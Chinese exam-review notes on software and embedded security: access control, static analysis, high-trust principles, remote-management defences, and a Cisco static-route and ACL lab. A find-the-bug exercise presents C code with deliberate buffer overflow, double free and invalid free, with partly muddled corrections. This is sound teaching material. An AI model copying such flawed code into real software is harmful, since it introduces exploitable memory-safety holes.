      • 基于角色的访问控制模式将用户的权限分配给角色，而不是直接分配给用户。用户被分配到一个或多个角色，每个角色具有特定的权限，用户通过角色来获取相应的权限。
      • RBAC模式简化了权限管理，提高了系统的安全性和可维护性，特别适用于大型组织或系统，可以根据角色的变化来调整用户的权限。

   这三种访问控制模式在实际应用中根据系统需求和安全级别的要求进行选择和组合，以确保系统对资源的访问具有适当的安全性和灵活性。

8. 列举现代静态源码分析器可以检查到的常见错误。

   潜在的NULL指针的解引用

   越界访问（例如，数组或动态分配的缓冲区）；即缓冲区溢出。

   对潜在只读内存的写操作

   对潜在的未初始化对象的读操作

   资源泄露，如内存泄露，文件描述符泄露

   对已经释放内存的使用

   超范围内存使用（从子程序返回自变量的地址）

   设置子程序返回值的失败

   缓冲和数组下溢

   现代静态源码分析器在检查源代码时可以发现许多常见的错误和潜在的安全漏洞。以下是一些常见错误，现代静态源码分析器可以检测到的示例：

   1. 空指针引用：静态源码分析器可以检测到可能导致空指针异常的代码，如未初始化变量或对空指针进行操作。

   2. 内存泄漏：静态源码分析器可以识别未释放分配的内存或存在内存泄漏的代码，帮助开发人员避免资源泄漏问题。

   3. 缓冲区溢出：静态源码分析器可以检测到存在缓冲区溢出风险的代码，防止恶意用户利用输入数据溢出缓冲区造成安全漏洞。

   4. 未使用的变量：静态源码分析器可以识别未使用的变量或代码块，帮助开发人员优化代码并减少不必要的复杂性。

   5. 未处理的异常：静态源码分析器可以发现未处理的异常或错误处理不当的代码，帮助开发人员提高代码的健壮性和可靠性。

   6. 资源泄漏：静态源码分析器可以检测到未关闭文件、数据库连接或其他资源的代码，帮助开发人员避免资源泄漏问题。

   7. 并发问题：静态源码分析器可以识别可能导致并发问题的代码，如竞态条件、死锁等，帮助开发人员编写更安全的并发程序。

   8. 安全漏洞：静态源码分析器可以检测到常见的安全漏洞，如跨站脚本（XSS）、SQL注入、路径遍历等，帮助开发人员提前发现和修复安全问题。

   通过使用现代静态源码分析器，开发人员可以在早期阶段发现并修复代码中的错误和潜在问题，提高代码质量、安全性和可维护性。

9. 列举高可信软件工程原则。

   1）最少的实现

   2）组件化架构

   3）最小权限

   4）安全开发过程

   5）独立专家验证

   高可信软件工程是指在软件开发过程中注重软件的可靠性、安全性和稳定性，以确保软件在各种条件下都能正常运行并达到预期的效果。以下是一些高可信软件工程的原则：

   1. 完整性（Integrity）：确保软件在运行时数据和功能的完整性，防止未经授权的访问、修改或破坏。

   2. 可用性（Availability）：确保软件在需要时可用，能够持续提供服务并及时响应用户请求。

   3. 保密性（Confidentiality）：确保软件处理的敏感信息只能被授权用户访问，防止信息泄露。

   4. 可靠性（Reliability）：确保软件在各种条件下都能稳定运行，不会因为意外情况导致系统崩溃或数据丢失。

   5. 可审计性（Auditability）：确保软件的操作和行为可以被审计和跟踪，以便追溯问题和进行安全审计。

   6. 可证明性（Accountability）：确保对软件的使用和操作进行跟踪和记录，以便追责和验证责任。

   7. 最小权限原则（Principle of Least Privilege）：给予用户或程序最小必要的权限来完成其工作，以减少潜在的安全风险。

   8. 安全性（Security）：确保软件系统能够抵御各种安全威胁和攻击，保护系统免受恶意行为的影响。

   9. 可扩展性（Scalability）：确保软件系统能够方便地扩展和适应不断变化的需求和环境。

   10. 可维护性（Maintainability）：确保软件系统易于维护和修改，降低修改成本并保持系统的可靠性和稳定性。

   这些原则在软件工程实践中起着重要的指导作用，帮助开发团队设计、开发和维护高可信度的软件系统。

10. 简述嵌入式远程管理的基本防御流程。

手段：1、确保远程管理计算机与因特网不相连。

2、远程嵌入式系统必须认证管理计算机，IP地址采用白名单机制。

3、在建立远程连接之前，管理计算机应对操作员进行强身份认证，

4、使用TLS/SSL或IKE/IPSec的标准网络安全协议，保护远程管理命令和数据的完整性和保密性。

嵌入式系统的远程管理是指通过网络远程监控、配置、更新和维护嵌入式设备。在进行嵌入式远程管理时，需要采取一系列防御措施来确保系统的安全性和稳定性。以下是基本的嵌入式远程管理的防御流程：

1. 身份验证和授权：确保只有经过身份验证的用户才能访问远程管理接口。使用强大的身份验证机制，如双因素认证，以确保只有授权用户可以远程管理设备。

2. 安全通信：使用加密通信协议（如TLS/SSL）确保远程管理过程中的数据传输是加密的，防止数据在传输过程中被窃取或篡改。

3. 安全升级和更新：确保远程升级和更新的过程是安全可靠的。使用数字签名来验证软件更新的完整性和真实性，防止恶意软件或未经授权的修改被加载到设备中。

4. 安全配置：确保远程管理接口和功能的安全配置，限制只有必要的功能和权限被开放给远程管理者，减少潜在攻击面。

5. 安全审计和监控：实施安全审计和监控机制，记录远程管理操作的日志并进行实时监控，以便及时发现异常行为或安全事件。

6. 物理安全：保护嵌入式设备的物理安全，防止设备被盗或篡改。在可能的情况下，对设备进行加固，防止物理攻击。

7. 应急响应计划：制定应急响应计划，以应对可能发生的安全事件或远程管理故障，确保能够及时有效地应对问题并恢复系统正常运行。

通过遵循以上防御流程，嵌入式系统的远程管理可以更加安全可靠地进行，保护系统免受潜在的安全威胁和攻击。

11. 开发中如何提高循环的效率，降低嵌入式系统的功耗？

    优化算法和数据结构

    减少循环次数

    避免空循环

    使用硬件加速

    低功耗模式

    优化编译器选项

    使用中断和定时器

    精简外设使用

    静态代码分析

    循环嵌套要外小内大;提取与循环无关的表达式;消除循环终止判断时的方法调用;捕获异常放到循环外部。

    在开发嵌入式系统时，提高循环的效率和降低功耗是非常重要的目标，特别是对于那些需要长时间运行的设备。以下是一些方法可以帮助提高循环的效率和降低嵌入式系统的功耗：

    1. 优化算法和数据结构：选择合适的算法和数据结构可以显著提高循环的效率。尽量避免使用复杂的算法和数据结构，选择更高效的实现方式。

    2. 减少循环次数：尽量减少循环的次数，避免不必要的重复计算。可以通过合并循环、使用更有效的迭代方式等方法来减少循环次数。

    3. 避免空循环：避免空循环或无用的计算，确保每次循环都有意义并对系统有贡献。

    4. 使用硬件加速：利用硬件加速器（如DSP、FPGA等）来执行一些计算密集型任务，可以提高效率并降低功耗。

    5. 低功耗模式：利用处理器的低功耗模式，在空闲或低负载时降低处理器的工作频率或进入睡眠模式，以降低功耗。

    6. 优化编译器选项：使用优化的编译器选项来生成更高效的机器代码，包括开启优化选项、减小代码大小等。

    7. 使用中断和定时器：合理使用中断和定时器来触发特定事件，避免轮询等消耗资源的方式，从而降低功耗。

    8. 精简外设使用：在不需要的时候关闭不必要的外设，减少对外设的频繁访问，以降低功耗。

    9. 静态代码分析：通过静态代码分析工具来检测代码中的潜在性能问题和功耗问题，及时优化代码。

    通过结合以上方法，开发者可以有效提高循环的效率和降低嵌入式系统的功耗，从而提升系统的性能和节能效果。

12. 找出下列代码中的错误并改正。

void Func(void)

{

int *buff=malloc(100)； (1)

char array[50]； (2)

free(buff)； (3)

array[50]=’e’； (4)

free(buff)； (5)

free(array)； (6)

}

void Str_copy(void )

{

　 char *str = (char *) malloc(10);

　 strcpy( str, “hello world!” );

}

第1处错误在语句 (4) 中，尝试访问数组 array 的第 50 个元素，但是数组 array 的大小只有 50，数组的索引是从 0 开始的，因此最后一个元素的索引是 49，访问超出数组范围的元素是未定义行为。正确的语句应该是：

array[49] = ‘e’;

第2处错误在语句 (6) 中，试图释放一个静态分配的数组 array，静态分配的数组不应该使用 free 函数释放内存，只有动态分配的内存需要使用 free 函数释放。因此，正确的代码应该去掉语句 (6)：

// free(array); // Remove this line

第3个错误在函数 Func 中的语句 (5) 中，尝试两次释放同一块内存 buff。这会导致出现 double free 错误，因为在第一次调用 free(buff) 后，内存块已经被释放，再次调用 free(buff) 会导致未定义行为。因此，应该在第二次调用 free(buff) 前检查该指针是否为 NULL 或者设置为 NULL。

1. 在分配内存时，应该为字符串 “hello world!” 分配足够的空间来容纳整个字符串（包括结尾的空字符 ‘\0’）。由于 “hello world!” 包含 12 个字符（包括空格），因此应该分配至少 13 个字节的内存空间。

2. 函数结束后没有释放动态分配的内存。在使用完动态分配的内存后，应该使用 free() 函数来释放这块内存，以避免内存泄漏。

3. （4）中数组越界访问，应该修改为合法的数组下标。

4. （6）中试图释放一个非动态分配的数组内存，应该使用free释放动态分配的内存。

隔离思想：隔离思想是指在设计和开发系统时，采用一系列技术和策略来确保系统中不同组件或功能之间相互独立、相互隔离，从而提高系统的安全性、稳定性和可靠性。隔离思想在计算机系统、网络系统、嵌入式系统等领域都有广泛的应用。

以下是隔离思想的一些重要方面和应用：

1. 硬件隔离：在硬件层面上实现隔离，例如使用虚拟化技术、安全芯片、安全处理器等，确保不同硬件资源之间的隔离，防止恶意软件或攻击者跨越硬件边界进行攻击。

2. 软件隔离：通过软件机制实现不同软件组件之间的隔离，如使用容器技术、虚拟化技术、沙盒机制等，确保不同软件模块之间的隔离，防止恶意软件扩散和攻击。

3. 网络隔离：通过网络配置和策略实现不同网络区域或设备之间的隔离，如使用虚拟局域网（VLAN）、防火墙、访问控制列表（ACL）等，确保网络中不同部分之间的隔离，防止网络攻击和数据泄露。

4. 数据隔离：确保不同数据之间的隔离，如使用加密技术、访问控制等，防止敏感数据泄露或被篡改。

5. 权限隔离：通过权限管理和访问控制实现不同用户或进程之间的隔离，确保每个用户或进程只能访问其所需的资源，防止恶意操作和越权访问。

隔离思想的核心目标是降低系统中各个部分之间的耦合度，提高系统的安全性和可靠性。通过合理应用隔离思想，可以有效减少系统的风险，提升系统的稳定性和安全性。在设计和开发系统时，考虑隔离思想是非常重要的，特别是在涉及敏感数据或关键系统的场景中。

远程嵌入式管理是指通过网络远程监控、配置、维护和管理嵌入式设备或系统的过程。这种管理方式在许多场景下非常有用，特别是对于分布在不同地点的嵌入式设备或系统。以下是远程嵌入式管理的一些重要方面和优势：

1. 远程监控和诊断：远程管理允许管理员实时监控嵌入式设备的状态、性能和运行情况，及时发现问题并进行诊断，从而提高故障排除的效率。

2. 远程配置和更新：管理员可以通过远程管理平台对嵌入式设备进行配置更改和软件更新，无需现场操作，节省时间和成本。

3. 远程维护和修复：远程管理使得管理员可以远程执行维护操作和故障修复，减少了现场维护的需求，提高了系统的可用性和稳定性。

4. 安全性：远程管理平台通常会提供安全机制，如加密通信、身份验证等，确保远程管理过程的安全性，防止未经授权的访问和攻击。

5. 灵活性和便利性：远程管理使得管理员可以随时随地通过网络管理嵌入式设备，不受时间和地点的限制，提高了管理的灵活性和便利性。

6. 自动化和智能化：通过远程管理平台可以实现自动化的管理和监控，甚至结合人工智能技术进行预测性维护，提高管理效率和系统的可靠性。

7. 成本效益：远程管理可以减少现场维护的成本，降低人力和时间成本，提高设备的利用率和效益。

分公司和总公司分别属于不同的网段，部门之间用路由器进行信息传递，为了安全起见，分公司领导要求部门主机只能访问总公司服务器的WWW服务，不能对其使用ICMP服务。

二、拓扑图

三、配置流程

1. 配置路由器R1的端口地址，静态路由表

   配置:

   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34

   Router>en Router#configure terminal Enter configuration commands, one per line. End with CNTL/Z. Router(config)#hostname R1 R1(config)#int fa0/0 R1(config-if)#ip address 192.168.1.1 255.255.255.0 //配置端口IP地址 R1(config-if)#no shutdown %LINK-5-CHANGED: Interface FastEthernet0/0, changed state to up %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/0, changed state to up R1(config-if)#exit R1(config)#interface fastethernet 1/0 R1(config-if)#ip address 192.168.2.1 255.255.255.0 //配置端口IP地址 R1(config-if)#no shutdown R1(config-if)# %LINK-5-CHANGED: Interface FastEthernet0/1, changed state to up %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/1, changed state to up R1(config-if)#exit R1(config)#ip route 0.0.0.0 0.0.0.0 192.168.2.2 //配置default route R1(config)#end

   查看 ip route以及running-config

   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77

   R1#show ip route Codes: C - connected, S - static, I - IGRP, R - RIP, M - mobile, B - BGP ​ D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area ​ N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2 ​ E1 - OSPF external type 1, E2 - OSPF external type 2, E - EGP ​ i - IS-IS, L1 - IS-IS level-1, L2 - IS-IS level-2, ia - IS-IS inter area ​ \* - candidate default, U - per-user static route, o - ODR ​ P - periodic downloaded static route Gateway of last resort is not set C 192.168.1.0/24 is directly connected, FastEthernet0/0 R1# R1#show run Building configuration... Current configuration : 746 bytes ！ version 12.2 no service timestamps log datetime msec no service timestamps debug datetime msec no service password-encryption ! hostname R1 ! ip cef no ipv6 cef ！ interface FastEthernet0/0 ip address 192.168.1.1 255.255.255.0 duplex auto speed auto ! interface FastEthernet1/0 ip address 192.168.2.1 255.255.255.0 duplex auto speed auto ! interface Serial2/0 no ip address shutdown ! interface Serial3/0 no ip address shutdown ! interface FastEthernet4/0 no ip address shutdown ! interface FastEthernet5/0 no ip address shutdown ! ip classless ip route 0.0.0.0 0.0.0.0 192.168.2.2 ! ip flow-export version 9 ! line con 0 ! line aux 0 ! line vty 0 4 login end

2. 配置路由器R2的端口地址，静态路由表

   配置:

   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41

   Router>en Router#conf t Enter configuration commands, one per line. End with CNTL/Z. Router(config)#hostname R2 R2(config)#interface fastethernet 1/0 R2(config-if)#ip add 192.168.2.2 255.255.255.0 //配置端口IP地址 R2(config-if)#no shutdown %LINK-5-CHANGED: Interface FastEthernet0/0, changed state to up %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/0, changed state to up R2(config-if)#exit R2(config)#int serial 2/0 R2(config-if)#ip add 192.168.3.1 255.255.255.0 //配置端口IP地址 R2(config-if)#no shutdown %LINK-5-CHANGED: Interface Serial2/0, changed state to down R2(config-if)#clock rate 64000 This command applies only to DCE interfaces R2(config-if)#exit R2(config)#ip route 192.168.1.0 255.255.255.0 192.168.2.1 R2(config)#ip route 192.168.4.0 255.255.255.0 192.168.3.2 R2(config)#end

   查看 ip route以及配置扩展IP-ACL以及查看running-config

   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172

   R2#show ip route Codes: C - connected, S - static, I - IGRP, R - RIP, M - mobile, B - BGP ​ D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area ​ N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2 ​ E1 - OSPF external type 1, E2 - OSPF external type 2, E - EGP ​ i - IS-IS, L1 - IS-IS level-1, L2 - IS-IS level-2, ia - IS-IS inter area ​ \* - candidate default, U - per-user static route, o - ODR ​ P - periodic downloaded static route Gateway of last resort is not set S 192.168.1.0/24 [1/0] via 192.168.2.1 C 192.168.2.0/24 is directly connected, FastEthernet1/0 R2# R2# R2#conf t Enter configuration commands, one per line. End with CNTL/Z. R2(config)#access-list 100 permit tcp host 192.168.1.2 host 192.168.4.2 eq www R2(config)#access-list 100 deny icmp host 192.168.1.2 host 192.168.4.2 echo R2(config)# R2(config)#interface serial 2/0 R2(config-if)#ip access-group 100 out R2(config-if)# R2(config-if)#end R2# %SYS-5-CONFIG_I: Configured from console by console R2#show running-config Building configuration... Current configuration : 962 bytes ! version 12.2 no service timestamps log datetime msec no service timestamps debug datetime msec no service password-encryption ! hostname R2 ! ! ! ip cef no ipv6 cef ! interface FastEthernet0/0 no ip address duplex auto speed auto shutdown ! interface FastEthernet1/0 ip address 192.168.2.2 255.255.255.0 duplex auto speed auto ! interface Serial2/0 ip address 192.168.3.1 255.255.255.0 ip access-group 100 out ! interface Serial3/0 no ip address shutdown ! interface FastEthernet4/0 no ip address shutdown ! interface FastEthernet5/0 no ip address shutdown ! ip classless ip route 192.168.1.0 255.255.255.0 192.168.2.1 ip route 192.168.4.0 255.255.255.0 192.168.3.2 ! ip flow-export version 9 ! ! access-list 100 permit tcp host 192.168.1.2 host 192.168.4.2 eq www access-list 100 deny icmp host 192.168.1.2 host 192.168.4.2 echo ! line con 0 ! line aux 0 ! line vty 0 4 login ! end

3. 配置路由器R3的端口地址，静态路由表

   配置:

   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45

   Router>en Router#conf t Enter configuration commands, one per line. End with CNTL/Z. Router(config)#hostname R3 R3(config)#interface fastEthernet 0/0 R3(config-if)#ip address 192.168.4.1 255.255.255.0 R3(config-if)#no shutdown R3(config-if)# %LINK-5-CHANGED: Interface FastEthernet0/0, changed state to up %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/0, changed state to up R3(config-if)#exit R3(config)#interface serial 2/0 R3(config-if)#ip address 192.168.3.2 255.255.255.0 R3(config-if)#no shutdown R3(config-if)# %LINK-5-CHANGED: Interface Serial2/0, changed state to up R3(config-if)#exit R3(config)# %LINEPROTO-5-UPDOWN: Line protocol on Interface Serial2/0, changed state to up R3(config)#ip route 0.0.0.0 0.0.0.0 192.168.3.1 R3(config)#end R3# %SYS-5-CONFIG_I: Configured from console by console

   查看路由表:

   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27

   R3#show ip route Codes: C - connected, S - static, I - IGRP, R - RIP, M - mobile, B - BGP ​ D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area ​ N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2 ​ E1 - OSPF external type 1, E2 - OSPF external type 2, E - EGP ​ i - IS-IS, L1 - IS-IS level-1, L2 - IS-IS level-2, ia - IS-IS inter area ​ \* - candidate default, U - per-user static route, o - ODR ​ P - periodic downloaded static route Gateway of last resort is 192.168.3.1 to network 0.0.0.0 C 192.168.3.0/24 is directly connected, Serial2/0 C 192.168.4.0/24 is directly connected, FastEthernet0/0 S* 0.0.0.0/0 [1/0] via 192.168.3.1 R3#%IP-4-DUPADDR: Duplicate address 192.168.4.1 on FastEthernet0/0, sourced by 0090.0C46.5567 %IP-4-DUPADDR: Duplicate address 192.168.4.1 on FastEthernet0/0, sourced by 0090.0C46.5567

4. 配置PC、服务器

   4.1 分公司主机

   IP:192.168.1.2

   MASK:255.255.255.0

   Gateway:192.168.1.1

   4.2 总公司服务器

   IP:192.168.4.2

   MASK:255.255.255.0

   Gateway:192.168.4.1

5. 测试

   5.1 分公司主机-WEB测试

   

   5.2 分公司主机-Ping测试 ping 192.168.4.2